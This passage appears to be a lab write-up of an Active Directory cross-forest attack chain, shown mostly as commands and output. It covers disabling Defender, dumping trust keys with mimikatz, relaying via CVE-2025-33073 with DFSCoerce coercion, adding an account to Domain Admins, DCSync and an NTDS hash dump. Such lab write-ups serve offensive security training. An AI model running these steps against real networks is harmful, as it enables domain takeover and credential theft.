we can winrm to the DC or DC1, doesn’t really matter and upload mimikatz.exe, defender is running on the machine, but with DA access, we can just add an Exculsion path or just disable it :

1
Set-MpPreference -DisableRealtimeMonitoring $true

or :

1
*Evil-WinRM* PS C:\> Add-MpPreference -ExclusionPath "C:\"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
*Evil-WinRM* PS C:\> .\mimikatz.exe "lsadump::trust /patch" "exit"

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # lsadump::trust /patch

Current domain: SOKOLO.DOJO (SOKOLO / S-1-5-21-3530961521-2097731028-1174174591)

Domain: LONIPO.DOJO (LONIPO / S-1-5-21-2785000674-1955832068-1794943330)
 [  In ] SOKOLO.DOJO -> LONIPO.DOJO

 [ Out ] LONIPO.DOJO -> SOKOLO.DOJO
    * 3/9/2026 11:59:56 AM - CLEAR   - 4a 00 4a 00 23 00 34 00 24 00 3e 00 5a 00 34 00 5a 00 43 00 5f 00 66 00 28 00 68 00 57 00
	* aes256_hmac       c9ad3047ee6531f53851bbb5d7791a8d08fd6cd7c2f855548382625d010a7655
	* aes128_hmac       86106c07d73342275d2ca0f81df33ed1
	* rc4_hmac_nt       9026053da51ffccbb7ecfe30be14f83c

 [ In-1] SOKOLO.DOJO -> LONIPO.DOJO

 [Out-1] LONIPO.DOJO -> SOKOLO.DOJO
    * 3/9/2026 11:59:56 AM - CLEAR   - 4a 00 4a 00 23 00 34 00 24 00 3e 00 5a 00 34 00 5a 00 43 00 5f 00 66 00 28 00 68 00 57 00
	* aes256_hmac       c9ad3047ee6531f53851bbb5d7791a8d08fd6cd7c2f855548382625d010a7655
	* aes128_hmac       86106c07d73342275d2ca0f81df33ed1
	* rc4_hmac_nt       9026053da51ffccbb7ecfe30be14f83c


mimikatz(commandline) # exit
Bye!

the LONIPO$ trust account is now available. Since there is an outbound trust, LONIPO will have a trust account SOKOLO$. named after the NetBIOS name of the trusting domain and treated as a domain user in LONIPO. Trust accounts can’t be used with NTLM for cross-forest authentication, the KDC enforces Kerberos for inter-forest trust authentication and rejects NTLM attempts. A TGT can be requested for it using its RC4 key, which is enough to create a machine account and enumerate further.

trust account!

and now we have a foothold on LONIPO!

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ impacket-getTGT LONIPO.dojo/'SOKOLO$' -hashes :9026053da51ffccbb7ecfe30be14f83c -dc-ip 176.16.70.250
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in SOKOLO$.ccache

┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ export KRB5CCNAME=SOKOLO$.ccache

┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ nxc smb 176.16.70.250 -k --use-kcache
SMB         176.16.70.250   445    DC2              [*] Windows Server 2022 Build 20348 x64 (name:DC2) (domain:LONIPO.dojo) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         176.16.70.250   445    DC2              [+] LONIPO.DOJO\SOKOLO$ from ccache

and let’s add a machine account, this time it succeeds:

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ impacket-addcomputer -k -no-pass -dc-ip 176.16.70.250 -dc-host DC2.LONIPO.dojo -computer-name 'C4T$' -computer-pass 'Plur1bu5@123!' 'LONIPO.DOJO/'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account C4T$ with password Plur1bu5@123!.

┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ nxc smb 176.16.70.250 -u 'C4T$' -p 'Plur1bu5@123!'
SMB         176.16.70.250   445    DC2              [*] Windows Server 2022 Build 20348 x64 (name:DC2) (domain:LONIPO.dojo) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         176.16.70.250   445    DC2              [+] LONIPO.dojo\C4T$:Plur1bu5@123!

trust account!

the tool I mentioned before ( though as I said, this can be done manually too ) is RelayKing-Depth, we can run it against LONIPO and see how it goes :

RelayKing-Depth!

let’s have it run and in the meantime since we have a foothold in LONIPO, let’s use trustfull to enumerate trusts further from LONIPO’s side :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
┌──(kali㉿kali)-[~/trustfull-v1]
└─$ trustfull enumerate LONIPO.dojo/'C4T$' -p 'Plur1bu5@123!' -dc-ip 176.16.70.250

  ___ _ __  _   _ _ __ ___   ___ _ __ __ _| |_ ___
 / _ \ '_ \| | | | '_ ` _ \ / _ \ '__/ _` | __/ _ \
|  __/ | | | |_| | | | | | |  __/ | | (_| | ||  __/
 \___|_| |_|\__,_|_| |_| |_|\___|_|  \__,_|\__\___|

 Trust Enumeration -- trustfull by plur1bu5


======================================================================
[*] Domain: LONIPO.dojo  |  DC: 176.16.70.250
======================================================================
  Found 2 trust(s)

  +-- Trust: LONIPO.dojo --> SOKOLO.dojo
  |   NetBIOS:              SOKOLO
  |   Type:                 Forest
  |   Direction:            Inbound
  |   Transitive:           Yes
  |   IntraForest:          No
  |   LDAP trust type:      Uplevel (AD)
  |   Target SID:           S-1-5-21-3530961521-2097731028-1174174591
  |   Target DC IP:         176.16.70.248
  |   Object GUID:          92fc80a0-9ff4-4798-877a-f0f00b06c30c
  |   Created:              03/09/2026 11:59:56 AM
  |   Last changed:         03/09/2026 11:59:56 AM
  |
  |   -- Security Properties --
  |   SID filtering:        Enabled
  |   SIDFilteringForestAware: Yes
  |   SIDFilteringQuarantined: No
  |   Selective auth:       Disabled
  |   DisallowTransivity:   No
  |   TGT delegation:       Default (not set)
  |   Treat-as-external:    No
  |   UsesAESKeys:          Yes
  |   UsesRC4Encryption:    No
  |   UplevelOnly:          No
  |
  |   -- Raw Flags (trustAttributes=0x00000008) --
  |     [+] Forest-transitive
  |
  |   -- Attack Surface --
  |   [i] No direct attacks identified
  |       Enumerate further: unconstrained delegation hosts, foreign principals, gMSA accounts
  +------------------------------------------------------------

  +-- Trust: LONIPO.dojo --> BORITO.dojo
  |   NetBIOS:              BORITO
  |   Type:                 Forest
  |   Direction:            Bidirectional
  |   Transitive:           Yes
  |   IntraForest:          No
  |   LDAP trust type:      Uplevel (AD)
  |   Target SID:           S-1-5-21-1062181578-1170849120-3226016930
  |   Target DC IP:         176.16.70.251
  |   Object GUID:          83ac054d-450c-48ab-9bf9-86dc786e955b
  |   Created:              03/09/2026 12:10:10 PM
  |   Last changed:         03/09/2026 12:25:47 PM
  |
  |   -- Security Properties --
  |   SID filtering:        Enabled
  |   SIDFilteringForestAware: Yes
  |   SIDFilteringQuarantined: No
  |   Selective auth:       Disabled
  |   DisallowTransivity:   No
  |   TGT delegation:       Default (not set)
  |   Treat-as-external:    No
  |   UsesAESKeys:          Yes
  |   UsesRC4Encryption:    No
  |   UplevelOnly:          No
  |
  |   -- Raw Flags (trustAttributes=0x00000008) --
  |     [+] Forest-transitive
  |
  |   -- Attack Surface --
  |   [*] Kerberoasting across trust
  |       Enumerate and crack SPNs in trusted domain
  |       --> impacket-GetUserSPNs -target-domain TRUSTED_DOMAIN
  |   [*] ASREPRoasting across trust
  |       Find accounts without Kerberos pre-auth in trusted domain
  |       --> impacket-GetNPUsers -target-domain TRUSTED_DOMAIN
  |   [!] Foreign ACLs
  |       Users from this domain may have dangerous ACLs (GenericAll, WriteDACL) on objects in trusted domain
  |       --> trustfull enumerate --foreign-principals
  |   [*] Foreign principal group membership
  |       Trust account may have privileged group membership in trusted domain
  |       --> trustfull enumerate --foreign-principals
  |   [*] GoldenGMSA across trust
  |       If gMSA accounts exist in parent domain, compute password from child domain SYSTEM context
  |       --> GoldenGMSA tool -- requires SYSTEM on child DC to read KDS root key attributes
  +------------------------------------------------------------

it’s Inbound to SOKOLO domain and Bidirectional to BORITO. TGT delegation shows as “Default (not set)” from LONIPO’s side for both trusts, but as we covered earlier, this only reflects what LONIPO has configured locally. we still need to check from BORITO’s side before drawing any conclusions. we’ll do that once we get DA on LONIPO.

we can also run trustfull with the –corss-trust flag but won’t get any more useful info :

1
trustfull enumerate LONIPO.dojo/'C4T$' -p 'Plur1bu5@123!' -dc-ip 176.16.70.250 --cross-trust

let’s run rusthound-ce on LONIPO :

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ rusthound-ce -d LONIPO.dojo -u 'C4T$' -p 'Plur1bu5@123!' -i 176.16.70.250 -c All -z
---------------------------------------------------
Initializing RustHound-CE at 01:47:15 on 04/03/26
Powered by @g0h4n_0
---------------------------------------------------

[2026-04-03T00:47:15Z INFO  rusthound_ce] Verbosity level: Info
[2026-04-03T00:47:15Z INFO  rusthound_ce] Collection method: All
[2026-04-03T00:47:16Z ERROR rusthound_ce::ldap] Failed to authenticate to LONIPO.DOJO Active Directory. Reason: LDAP operation result: rc=49 (invalidCredentials), dn: "", text: "80090308: LdapErr: DSID-0C090597, comment: AcceptSecurityContext error, data 710, v4f7c"

this fails! rusthound-ce uses simple bind with C4T$@LONIPO.dojo as the bind DN, which fails with data 710 (ERROR_ACCOUNT_RESTRICTION). The machine account was created via Kerberos through the trust account, which causes this bind format to be rejected. Using Kerberos auth with the -f flag resolves it:

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ nxc ldap 176.16.70.250 -u 'C4T$' -p 'Plur1bu5@123!' --bloodhound --dns-server 176.16.70.250
LDAP        176.16.70.250   389    DC2              [*] Windows Server 2022 Build 20348 (name:DC2) (domain:LONIPO.dojo) (signing:None) (channel binding:No TLS cert)
LDAP        176.16.70.250   389    DC2              [+] LONIPO.dojo\C4T$:Plur1bu5@123!
LDAP        176.16.70.250   389    DC2              Resolved collection methods: group, localadmin, session, trusts
LDAP        176.16.70.250   389    DC2              Done in 0M 14S
LDAP        176.16.70.250   389    DC2              Compressing output into /home/kali/.nxc/logs/DC2_176.16.70.250_2026-04-03_014635_bloodhound.zip

and it works. The difference between the two collectors is worth investigating separately, for now nxc’s BloodHound got the job done.

back to relayking, it finished and we get this :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
RELAY ATTACK PATHS
--------------------------------------------------------------------------------
[CRITICAL] Relay to LDAP on 176.16.70.250 / 176.16.70.250 - Can create computer accounts, modify ACLs (RBCD, DACL abuse)
[HIGH] CVE-2025-33073: Relay credentials from SMB to LDAP/LDAPS on 176.16.70.250 / 176.16.70.250

DETAILED HOST RESULTS
================================================================================

Host: 176.16.70.250
--------------------------------------------------------------------------------
  [SMB] PROTECTED
    Version: SMB3.0
    Signing Required: True
  [LDAP] RELAYABLE
    Signing Required: False
    Channel Binding: False
  [LDAPS] PROTECTED
    Signing Required: False
    Channel Binding: None
  [NTLM REFLECTION] VULNERABLE
    VULNERABLE to CVE-2025-33073: Can relay SMB to other protocols except SMB. Windows version 10.0.20348.3692 is unpatched (SMB signing is required).

and it detects that it’s vulnerable to CVE-2025-33073, a new one that’s been in the news lately, the folks from Synacktiv have a detailed post on it here.

and the official PoC CVE-2025-33073

reading through the code and what it does, we notice by default the original PoC uses ldaps:// by default when –smb-signing is specified, but this fails with SSL errors for our case. The attack only works with ldap:// (not LDAPS), and in our case we already saw that we have to go over ldap, not ldaps, so we have to patch the python script to use ldap, we can do so with sed :

1
sed -i 's/ldaps_target = f"ldaps:\/\/{ldaps_target}"/ldaps_target = f"ldap:\/\/{ldaps_target}"/' CVE-2025-33073.py

or do it manually too.

The partial MIC removal bypasses LDAP signing on plain LDAP (port 389), but LDAPS (port 636) has additional TLS channel binding that breaks the reflection.

now that we cloned the repo, fixed the ldap thing, we can just set it up, they do provide a nice script for it :

1
./setup.sh

and from the virtual environment we run it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(venv)(hitotsu㉿kali)-[~/CVE-2025-33073]
└─$ python3 CVE-2025-33073.py -u "LONIPO.dojo\C4T$" -p 'Plur1bu5@123!' -d 176.16.70.250 --dns-ip 176.16.70.250 --dc-fqdn DC2.LONIPO.dojo --target 176.16.70.250 --target-ip 176.16.70.250 -M DFSCoerce --smb-signing --attacker-ip 176.16.70.247
[*] Adding malicious DNS record using dnstool.py...
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[!] Record already exists and points to 176.16.70.247. Use --action modify to overwrite or --allow-multiple to override this
[+] DNS record added.
[*] Waiting for DNS record localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.LONIPO.dojo to propagate...
[+] DNS record is live.
[*] Forked impacket version not found. Installing...
[+] Forked impacket version installed successfully.
[*] Starting ntlmrelayx.py listener with --remove-mic-partial in this terminal...
Impacket v0.13.0.dev0+20260108.160920.d3144ec7 - Copyright Fortra, LLC and its affiliated companies

[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client WINRMS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Multirelay disabled
< SNIP >

and from our kali we coerce too:

1
nxc smb 176.16.70.250 -u 'C4T$' -p 'Plur1bu5@123!' -d LONIPO.dojo -M coerce_plus -o LISTENER=176.16.70.247

coercing from the same broadcast domain as DC2 means a DNS record isn’t strictly required, the coercion should work directly:

and back to the first terminal :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
< SNIP >
[*] Servers started, waiting for connections
[*] Triggering DFSCoerce coercion via nxc...
[*] Running DFSCoerce silently in this terminal...
[*] Exploit chain triggered.
[*] Check this terminal for output.
[*] (SMB): Received connection from 176.16.70.250, attacking target ldap://DC2.LONIPO.dojo
[-] (SMB): Authenticating against ldap://DC2.LONIPO.dojo as LONIPO/DC2$ FAILED
[*] (SMB): Received connection from 176.16.70.250, attacking target ldap://DC2.LONIPO.dojo
[-] (SMB): Authenticating against ldap://DC2.LONIPO.dojo as LONIPO/DC2$ FAILED
[*] (SMB): Received connection from 176.16.70.250, attacking target ldap://DC2.LONIPO.dojo
[*] (SMB): Authenticating connection from /@176.16.70.250 against ldap://DC2.LONIPO.dojo SUCCEED [1]
[*] ldap:///@dc2.lonipo.dojo [1] -> Started interactive Ldap shell via TCP on 127.0.0.1:11000 as /
[*] (SMB): Received connection from 176.16.70.250, attacking target ldap://DC2.LONIPO.dojo
[*] (SMB): Authenticating connection from /@176.16.70.250 against ldap://DC2.LONIPO.dojo SUCCEED [2]
[*] ldap:///@dc2.lonipo.dojo [2] -> Started interactive Ldap shell via TCP on 127.0.0.1:11001 as /
[*] (SMB): Received connection from 176.16.70.250, attacking target ldap://DC2.LONIPO.dojo
[-] (SMB): Authenticating against ldap://DC2.LONIPO.dojo as LONIPO/DC2$ FAILED
[*] (SMB): Received connection from 176.16.70.250, attacking target ldap://DC2.LONIPO.dojo
[-] (SMB): Authenticating against ldap://DC2.LONIPO.dojo as LONIPO/DC2$ FAILED
[*] (SMB): Received connection from 176.16.70.250, attacking target ldap://DC2.LONIPO.dojo
[-] (SMB): Authenticating against ldap://DC2.LONIPO.dojo as LONIPO/DC2$ FAILED
[*] (SMB): Received connection from 176.16.70.250, attacking target ldap://DC2.LONIPO.dojo
[-] (SMB): Authenticating against ldap://DC2.LONIPO.dojo as LONIPO/DC2$ FAILED
[*] (SMB): Received connection from 176.16.70.250, attacking target ldap://DC2.LONIPO.dojo
[-] (SMB): Authenticating against ldap://DC2.LONIPO.dojo as LONIPO/DC2$ FAILED
[*] (SMB): Received connection from 176.16.70.250, attacking target ldap://DC2.LONIPO.dojo
[*] (SMB): Authenticating connection from /@176.16.70.250 against ldap://DC2.LONIPO.dojo SUCCEED [3]
[*] ldap:///@dc2.lonipo.dojo [3] -> Started interactive Ldap shell via TCP on 127.0.0.1:11002 as /
[*] (SMB): Authenticating connection from /@176.16.70.250 against ldap://DC2.LONIPO.dojo SUCCEED [4]
[*] ldap:///@dc2.lonipo.dojo [4] -> Started interactive Ldap shell via TCP on 127.0.0.1:11003 as /
[-] ldap:///@dc2.lonipo.dojo [2] -> startTLS failed - unavailable
[-] ldap:///@dc2.lonipo.dojo [2] -> Target not found

it seems after failing we get a success.

worked relay!

and we do get an ldap shell!! we ssh to the OPS box from another terminal since that’s where we have our relay running :

SYSTEM!

and we’re SYSTEM!

in the ldap shell let’s add our computer account C4T$ to domain admins :

1
2
# add_user_to_group C4T$ "Domain Admins"
Adding user: C4T to group Domain Admins result: OK

and we can DCsync from our kali :

DCsync administrator!

this should work too : CVE-2025-54918 it’s cleaner and a follow up for the previous CVE.

the trust account BORITO$ appears in the NTDS dump, expected since it’s a bidirectional trust:

dump ntds!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/secdojo/AD105]
└─$ nxc smb 176.16.70.250 -u Administrator -H 077b603a2d123e9424962c54cbe8f136 --ntds
SMB         176.16.70.250   445    DC2              [*] Windows Server 2022 Build 20348 x64 (name:DC2) (domain:LONIPO.dojo) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         176.16.70.250   445    DC2              [+] LONIPO.dojo\Administrator:077b603a2d123e9424962c54cbe8f136 (Pwn3d!)
SMB         176.16.70.250   445    DC2              [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         176.16.70.250   445    DC2              Administrator:500:aad3b435b51404eeaad3b435b51404ee:077b603a2d123e9424962c54cbe8f136:::
SMB         176.16.70.250   445    DC2              Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         176.16.70.250   445    DC2              krbtgt:502:aad3b435b51404eeaad3b435b51404ee:54039280ec4ca5f882f848ddab81720b:::
SMB         176.16.70.250   445    DC2              DC2$:1000:aad3b435b51404eeaad3b435b51404ee:aa88768e286c6d4b9c943e38e83819c3:::
SMB         176.16.70.250   445    DC2              C4T$:1601:aad3b435b51404eeaad3b435b51404ee:31c3e1ec997cc8813cfd0660e25e4fca:::
SMB         176.16.70.250   445    DC2              SOKOLO$:1103:aad3b435b51404eeaad3b435b51404ee:9026053da51ffccbb7ecfe30be14f83c:::
SMB         176.16.70.250   445    DC2              BORITO$:1104:aad3b435b51404eeaad3b435b51404ee:dea9d977c7400cc67451c94634cd319d:::
SMB         176.16.70.250   445    DC2              [+] Dumped 7 NTDS hashes to /home/kali/.nxc/logs/ntds/DC2_176.16.70.250_2026-04-03_031310.ntds of which 3 were added to the database
SMB         176.16.70.250   445    DC2              [*] To extract only enabled accounts from the output file, run the following command:
SMB         176.16.70.250   445    DC2              [*] grep -iv disabled /home/kali/.nxc/logs/ntds/DC2_176.16.70.250_2026-04-03_031310.ntds | cut -d ':' -f1

we can run trustfull again to enumerate the trusts further since we now have domain admins, there are certain things only privileged users can query from ldap so it’s worth running it again :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
┌──(kali㉿kali)-[~/trustfull-v1]
└─$ trustfull enumerate LONIPO.dojo/Administrator -hashes :077b603a2d123e9424962c54cbe8f136 -dc-ip 176.16.70.250 --cross-trust

  ___ _ __  _   _ _ __ ___   ___ _ __ __ _| |_ ___
 / _ \ '_ \| | | | '_ ` _ \ / _ \ '__/ _` | __/ _ \
|  __/ | | | |_| | | | | | |  __/ | | (_| | ||  __/
 \___|_| |_|\__,_|_| |_| |_|\___|_|  \__,_|\__\___|

 Trust Enumeration -- trustfull by plur1bu5


======================================================================
[*] Domain: LONIPO.dojo  |  DC: 176.16.70.250
======================================================================
  Found 2 trust(s)

  +-- Trust: LONIPO.dojo --> SOKOLO.dojo
  |   NetBIOS:              SOKOLO
  |   Type:                 Forest
  |   Direction:            Inbound
  |   Transitive:           Yes
  |   IntraForest:          No
  |   LDAP trust type:      Uplevel (AD)
  |   Target SID:           S-1-5-21-3530961521-2097731028-1174174591
  |   Target DC IP:         176.16.70.248
  |   Object GUID:          92fc80a0-9ff4-4798-877a-f0f00b06c30c
  |   Created:              03/09/2026 11:59:56 AM
  |   Last changed:         03/09/2026 11:59:56 AM
  |
  |   -- Security Properties --
  |   SID filtering:        Enabled
  |   SIDFilteringForestAware: Yes
  |   SIDFilteringQuarantined: No
  |   Selective auth:       Disabled
  |   DisallowTransivity:   No
  |   TGT delegation:       Default (not set)
  |   Treat-as-external:    No
  |   UsesAESKeys:          Yes
  |   UsesRC4Encryption:    No
  |   UplevelOnly:          No
  |
  |   -- Raw Flags (trustAttributes=0x00000008) --
  |     [+] Forest-transitive
  |
  |   -- Attack Surface --
  |   [i] No direct attacks identified
  |       Enumerate further: unconstrained delegation hosts, foreign principals, gMSA accounts
  +------------------------------------------------------------

  +-- Trust: LONIPO.dojo --> BORITO.dojo
  |   NetBIOS:              BORITO
  |   Type:                 Forest
  |   Direction:            Bidirectional
  |   Transitive:           Yes
  |   IntraForest:          No
  |   LDAP trust type:      Uplevel (AD)
  |   Target SID:           S-1-5-21-1062181578-1170849120-3226016930
  |   Target DC IP:         176.16.70.251
  |   Object GUID:          83ac054d-450c-48ab-9bf9-86dc786e955b
  |   Created:              03/09/2026 12:10:10 PM
  |   Last changed:         03/09/2026 12:25:47 PM
  |
  |   -- Security Properties --
  |   SID filtering:        Enabled
  |   SIDFilteringForestAware: Yes
  |   SIDFilteringQuarantined: No
  |   Selective auth:       Disabled
  |   DisallowTransivity:   No
  |   TGT delegation:       Default (not set)
  |   Treat-as-external:    No
  |   UsesAESKeys:          Yes
  |   UsesRC4Encryption:    No
  |   UplevelOnly:          No
  |
  |   -- Raw Flags (trustAttributes=0x00000008) --
  |     [+] Forest-transitive
  |
  |   -- Attack Surface --
  |   [*] Kerberoasting across trust
  |       Enumerate and crack SPNs in trusted domain
  |       --> impacket-GetUserSPNs -target-domain TRUSTED_DOMAIN
  |   [*] ASREPRoasting across trust
  |       Find accounts without Kerberos pre-auth in trusted domain
  |       --> impacket-GetNPUsers -target-domain TRUSTED_DOMAIN
  |   [!] Foreign ACLs
  |       Users from this domain may have dangerous ACLs (GenericAll, WriteDACL) on objects in trusted domain
  |       --> trustfull enumerate --foreign-principals
  |   [*] Foreign principal group membership
  |       Trust account may have privileged group membership in trusted domain
  |       --> trustfull enumerate --foreign-principals
  |   [*] GoldenGMSA across trust
  |       If gMSA accounts exist in parent domain, compute password from child domain SYSTEM context
  |       --> GoldenGMSA tool -- requires SYSTEM on child DC to read KDS root key attributes
  +------------------------------------------------------------


[*] Cross-trust active enumeration...
  [*] Attempting Kerberoasting in BORITO.dojo...
  [-] No Kerberoastable accounts found (or auth failed)
  [*] Attempting ASREPRoasting in BORITO.dojo...
  [-] No ASREPRoastable accounts found (or auth failed)
  [*] Enumerating unconstrained delegation in BORITO.dojo...
  [-] No unconstrained delegation hosts found (or auth failed)
  [*] Enumerating constrained delegation in BORITO.dojo...
  [-] No constrained delegation found (or auth failed)
  [*] Enumerating RBCD in BORITO.dojo...
  [-] No RBCD found (or auth failed)
  [*] Checking for foreign ACLs in BORITO.dojo...
  [-] No foreign ACLs found (or auth failed)
  [-] No ASREPRoastable accounts found (or auth failed)

also from bloodhound for a cleaner view of the trust relationships:

Flex!

with domain admins now on LONIPO, let’s check TGT delegation from LONIPO’s side. an important caveat is that what Get-ADTrust queried from DC2 only tells us what LONIPO has configured on its end of each trust, it says nothing about what BORITO has configured on its side. so TGTDelegation: False for BORITO.dojo here only means LONIPO won’t forward TGTs to BORITO, not that BORITO won’t forward TGTs to LONIPO. to know the full picture we have to query from both sides, which we’ll do later when we have a foothold on BORITO.

TGT delegation illusion !

1
2
3
4
5
6
7
8
9
10
11
12
13
14
*Evil-WinRM* PS C:\Users\Administrator.DC\Documents> Get-ADTrust -Filter * | Select-Object Name,Direction,TGTDelegation,TrustAttributes

Name            Direction TGTDelegation TrustAttributes
----            --------- ------------- ---------------
SOKOLO.dojo       Inbound         False               8
BORITO.dojo BiDirectional         False               8


*Evil-WinRM* PS C:\Users\Administrator.DC\Documents> Get-ADObject -Filter {objectClass -eq "trustedDomain"} -Properties trustAttributes | Select-Object Name,trustAttributes

Name        trustAttributes
----        ---------------
SOKOLO.dojo               8
BORITO.dojo               8

the verbose Get-ADTrust output below is included for completeness, same data as the trustfull output above:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
*Evil-WinRM* PS C:\Users\Administrator.DC\Documents> Get-ADTrust -Filter *


Direction               : Inbound
DisallowTransivity      : False
DistinguishedName       : CN=SOKOLO.dojo,CN=System,DC=LONIPO,DC=dojo
ForestTransitive        : True
IntraForest             : False
IsTreeParent            : False
IsTreeRoot              : False
Name                    : SOKOLO.dojo
ObjectClass             : trustedDomain
ObjectGUID              : 92fc80a0-9ff4-4798-877a-f0f00b06c30c
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : False
Source                  : DC=LONIPO,DC=dojo
Target                  : SOKOLO.dojo
TGTDelegation           : False
TrustAttributes         : 8
TrustedPolicy           :
TrustingPolicy          :
TrustType               : Uplevel
UplevelOnly             : False
UsesAESKeys             : False
UsesRC4Encryption       : False

Direction               : BiDirectional
DisallowTransivity      : False
DistinguishedName       : CN=BORITO.dojo,CN=System,DC=LONIPO,DC=dojo
ForestTransitive        : True
IntraForest             : False
IsTreeParent            : False
IsTreeRoot              : False
Name                    : BORITO.dojo
ObjectClass             : trustedDomain
ObjectGUID              : 83ac054d-450c-48ab-9bf9-86dc786e955b
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : False
Source                  : DC=LONIPO,DC=dojo
Target                  : BORITO.dojo
TGTDelegation           : False
TrustAttributes         : 8
TrustedPolicy           :
TrustingPolicy          :
TrustType               : Uplevel
UplevelOnly             : False
UsesAESKeys             : False
UsesRC4Encryption       : False

WinRM to DC2, disable Defender, and run mimikatz to extract the trust keys:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
*Evil-WinRM* PS C:\> .\mimikatz.exe "lsadump::trust /patch" "exit"

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # lsadump::trust /patch

Current domain: LONIPO.DOJO (LONIPO / S-1-5-21-2785000674-1955832068-1794943330)

Domain: SOKOLO.DOJO (SOKOLO / S-1-5-21-3530961521-2097731028-1174174591)
 [  In ] LONIPO.DOJO -> SOKOLO.DOJO
    * 3/9/2026 11:59:56 AM - CLEAR   - 4a 00 4a 00 23 00 34 00 24 00 3e 00 5a 00 34 00 5a 00 43 00 5f 00 66 00 28 00 68 00 57 00
	* aes256_hmac       c9ad3047ee6531f53851bbb5d7791a8d08fd6cd7c2f855548382625d010a7655
	* aes128_hmac       86106c07d73342275d2ca0f81df33ed1
	* rc4_hmac_nt       9026053da51ffccbb7ecfe30be14f83c

 [ Out ] SOKOLO.DOJO -> LONIPO.DOJO

 [ In-1] LONIPO.DOJO -> SOKOLO.DOJO
    * 3/9/2026 11:59:56 AM - CLEAR   - 4a 00 4a 00 23 00 34 00 24 00 3e 00 5a 00 34 00 5a 00 43 00 5f 00 66 00 28 00 68 00 57 00
	* aes256_hmac       c9ad3047ee6531f53851bbb5d7791a8d08fd6cd7c2f855548382625d010a7655
	* aes128_hmac       86106c07d73342275d2ca0f81df33ed1
	* rc4_hmac_nt       9026053da51ffccbb7ecfe30be14f83c

 [Out-1] SOKOLO.DOJO -> LONIPO.DOJO


Domain: BORITO.DOJO (BORITO / S-1-5-21-1062181578-1170849120-3226016930)
